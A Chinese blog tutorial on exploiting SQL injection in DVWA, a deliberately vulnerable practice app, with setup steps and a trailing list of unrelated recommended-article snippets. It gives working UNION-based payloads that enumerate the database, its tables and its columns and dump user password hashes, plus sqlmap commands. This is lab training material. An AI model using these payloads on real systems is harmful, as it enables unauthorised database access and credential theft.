DVWA之SQL注入

2023-10-27

一.DVWA介绍

1.1 DVWA简介

DVWA是一款基于PHP和MYSQL开发的web靶场练习平台,集成了常见的web漏洞如sql注入,XSS,密码破解等常见漏洞。旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

1.2 DVWA模块

DVWA共有十个模块:

    Brute Force(暴力(破解))

    Command Injection(命令行注入)

    CSRF(跨站请求伪造)

    File Inclusion(文件包含)

    File Upload(文件上传)

    Insecure CAPTCHA (不安全的验证码)

    SQL Injection(SQL注入)

    SQL Injection(Blind)(SQL盲注)

    XSS(Reflected)(反射型跨站脚本)

XSS(Stored)(存储型跨站脚本)

1.3 DVWA 安全级别

一般情况下,DVWA一共有四种安全级别,分别为:

Low、Medium、High、Impossible

二.DVWA的搭建

2.1 phpstudy的搭建

phpstudy下载地址小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)

下载完后双击压缩包中的应用程序

选择路径,这里我存储在D盘中

然后就安装成功了

 

2.2DVWA的搭建

DVWA的官网DVWA - 该死的易受攻击的Web应用程序

 将其解压到PHPstudy路径下的PHPTutorial下的WWW目录下

解压后进入DVWA下的config文件打开config.inc.php文件

将p@ssw0rd 修改为 root 

然后在浏览器中访问http://127.0.0.1/DVWA-master/setup.php,然后点击网站下方的Create/Reset Database按钮

 接着会跳转到DVWA的登录页面默认用户名:admin 默认密码:password 成功登录

 三.SQL注入漏洞

3.1 SQL注入原理

  就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

3.2 SQL注入分类

(1)数字型        (2)字符型       (3)报错注入     (4)Boollean注入                (5)时间注入

3.3 SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数

(3).确定回显位置

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

3.4 SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

四.SQL注入漏洞的分析

4.1 定义

SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

4.2 原因

SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。

web 开发人员无法保证所有的输入都已经过滤

攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)

数据库未做相应的安全配置

五.SQL Injection

1.low级别

(1)判断注入类型,是数字型注入,还是字符型注入

我们输入1,看到正确返回值

 我们输入1',看到报错了

 我们可以猜出到是字符型注入,我们继续输入1' and '1' ='1和1' and '1'='2。

 我们根据id=1’报错和id=1’ and ‘1’=’1正确,我们可以知道是字符型注入,查看源代码知道就是字符型注入。

(2)判断字段数                                     order by 

我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数

id=1' order by 1#没有报错

 id=1' order by 2# 没有报错

 id=1' order by 3#时报错了,说明字段只有2列

(3)判断回显位置                       union select 1,2#

 可以知道回显位置 在这二个地方

(4)判断数据库                                     union select 1,database()#

(5)获取表名          1'  union select 1,group_concat(table_name) from information_schema.tables where 获取字段名 tables_schema=database()#

 (6)获取字段名                  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

(7)获取数据    1' union select user,password from users # 

 2.medium级别

(1)判断注入类型     我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入

 我们输入id=1' and '1'='1看见报错了,输入id=1 and 1=1没有报错。

 所以注入类型为数字类型

(2)判断列数

 我们知道列数为2列

(3)判断回显位置   

我们可以知道回显位置是2

(4)判断数据库

(5)判断表名

 (6)判断列名

 我们输入users之后,发现没有如何反应

通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572

 (7)获取数据

 3.high级别

(1)判断注入类型

 我们可以知道是字符型注入

(2)判断列数

 列数为2列,我们可以发现high级别和low级别的步骤是一样的,所以我在这里就不写了,可以参考low级别的步骤就行了

六.SQL Injection (Blind)

我们在讲SQL Injection (Blind)之前,先讲一下什么是sqlmap注入。

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap  -h

 sqlmap的使用方法:sqlmap -u  url 是对网站进行注入  

                                sqlmap -r  是对文件进行注入       

这里我们对SQL Injection的low级别进行sqlmap,具体过程我写在了图片上面

1.low级别

(1)我们先进行抓包

 (2)然后使用sqlmap

 (3)爆破数据库              --dbs

 (3)爆破表名                             -D 'dvwa' --tables

 (4)爆破字段名    -D 'dvwa'  -T ' guestbook' --columns

 (5)爆破数据

 后面的我们都可以使用sqlmap进行注入,所以后面的就在这里不讲解了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

DVWA之SQL注入 的相关文章

随机推荐

  • 【Gazebo安装教程】2023年最新安装全流程详解!

    安装 实验环境 ubuntu22 04LTS 安装 Gazebo 首先我们需要安装必须的工具 sudo apt get update sudo apt get install lsb release wget gnupg 之后修改源 并 u
  • 爬虫异常处理实战:应对请求频率限制和数据格式异常

    目录 一 请求频率限制的处理 1 设置请求间隔时间 2 使用随机化延迟 3 添加爬虫IP和用户代理 二 数据格式异常的处理 1 异常数据的过滤 2 错误信息的记录 3 动态调整解析规则 总结 在爬虫编程中 我们经常会遇到各种异常情况 比如请
  • 确定Mac\Linux系统的架构类型是 x86-64(amd64),还是 arm64 架构

    我们在下载软件或镜像时会有很多版本 那需要根据我们的系统架构选择正确的软件或镜像版本 要确定你的系统使用的是 x86 64 amd64 还是 arm64 架构 可以使用以下方法之一 使用 uname 命令 打开终端 并运行以下命令 unam
  • 【Java核心技术 卷I】第一章 Java程序设计概述 笔记

    是自学和看书的笔记 有的地方感觉了解一下就行了 就没记笔记 1 2 Java的11个关键术语 简单性 面向对象 分布式 健壮性 安全性 体系结构中立 可移植性 解释性 高性能 多线程 动态性 简单性 Java语法是C 语法的一个 纯净 版本
  • logback TimeBasedRollingPolicy的fileNamePattern和file配置详解

    文章目录 1 file配置项 2 fileNamePattern配置项 3 fileNamePattern和file的搭配使用 解耦 4 fileNamePattern的不同 d配置举例说明 4 1 Wombat foo d 天级更新 4
  • Linux下TBB安装及编译

    TBB Thread Building Blocks 线程构建模块 是Intel公司开发的并行编程开发的工具 其提供C 模版库 用户不必关注线程 而专注任务本身 抽象层仅需很少的接口代码 性能上毫不逊色 且能够灵活地适合不同的多核平台 适合
  • 小电流接地系统中的单相接地仿真:中性 点经消弧线圈接地系统的仿真模型

    小电流接地系统中的单相接地仿真 中性 点经消弧线圈接地系统的仿真模型 得出仿真图形 simulink源文件 仿真仿真 matlab ID 1865658490724243
  • GPT-4发布:人工智能新高度,以图生文技术震撼,短时间内挤爆OpenAI模型付费系统

    GPT 4 起飞 今日凌晨1点 OpenAI正式推出史上最强大的GPT 4文本生成AI系统 GPT 4 人工智能的新里程碑 你可能已经听说过GPT 3 它是一种能够生成自然语言文本的强大模型 可以用来回答问题 写文章 编程 创作等等 但是
  • Qt开发之路59---QPushButton的pressed,released,clicked,toggled响应的区别

    一 定义 PushButton提供如下信号 pressed 当鼠标在button上并点击左键的时候发射 released 当鼠标左键被释放的时候 clicked bool checked false 当鼠标首先按下pressed 然后释放
  • c语言练习64:calloc和realloc

    calloc和realloc C语 还提供了 个函数叫 calloc calloc 函数也 来动态内存分配 和realloc是有区别的 练习使用calloc和realloc realloc在c语言练习63中有所应用 realloc是为了扩大
  • 数字图像直方图处理涉及的数学知识介绍

    前往老猿Python博文目录 https blog csdn net LaoYuanPython 一 引言 在数字图像直方图处理学习时 老猿发现相关内容涉及数学定积分 概率统计等相关的知识 为此专门投入2个月时间将忘光了导数 微分 不定积分
  • ACN总结报告

    ACM总结报告 关于学到的知识 先暂且留一下 先说说这学期的情况 还记得 刚开始时选择这门选修课 除了听说它对于我们计算机专业的来说很有用之外 就是听说它很难 想要挑战一下自我而已 想想 现在不由自主的想要笑起来 说实在的 对于这门选修课
  • Flamingo插件_Contact Form 7表单数据存储插件

    Flamingo插件是一款用来帮助 Contact Form 7表单数据存储的插件 因为Contact Form 7插件本身没有数据存储功能 默认把前台访客提交的表单数据提交到设置好的接收邮箱 如果邮件服务器出现问题 配置错误就可能会永远丢
  • 第一课:一文读懂马尔科夫过程

    1 马尔科夫决策过程 MDPs 简介 马尔科夫决策过程是对强化学习 RL 问题的数学描述 几乎所有的RL问题都能通过MDPs来描述 最优控制问题可以用MDPs来描述 部分观测环境可以转化成POMDPs 赌博机问题是只有一个状态的MDPs 注
  • 查看LINUX放开端口,Linux下防火墙开启相关端口及查看已开启端口

    Linux下防火墙开启相关端口及查看已开启端口 1 默认情况下Linux的防火墙都是在关闭状态下的 root test etc service iptables status Firewall is stopped root test et
  • 新建Springboot项目默认test包下的测试类报错缺少org.junit.jupiter.api

    在springboot项目中碰到一个问题 记录一下 新建了一个普通的Maven项目A 其pom xml继承parent为
  • 电脑怎么恢复已删除的数据?

    恢复已经删除的数据取决于多种因素 包括删除的方式 存储设备的类型以及是否有备份等 以下是一些常见的方法 但不能保证所有情况下都能成功恢复数据 在尝试恢复数据之前 请确保不会进一步覆盖原始数据 以提高恢复成功的机会 回收站 如果你删除的是电脑
  • mysql数据去重并排序使用distinct 和 order by 的问题

    比如直接使用 SELECT distinct mobileFROM table aWHERE code 123ORDER BY a ime desc 在本地mysql数据库没有错 在线上的数据库就会报如下错 估计是版本的问题 Express
  • 典型的贪心算法~ (田忌赛马 )

    1 田忌赛马 典型的贪心算法 自己木有考虑到贪心的第二步导致wa了好多次 算法分析 Problem Description 给出2N组数据 分别表示田忌和齐威王的N匹马的速度 没进行一场比赛 每组数据共N场场赛 若能分出胜负 则输的一方要给
  • DVWA之SQL注入

    一 DVWA介绍 1 1 DVWA简介 DVWA是一款基于PHP和MYSQL开发的web靶场练习平台 集成了常见的web漏洞如sql注入 XSS 密码破解等常见漏洞 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境 帮助web开发者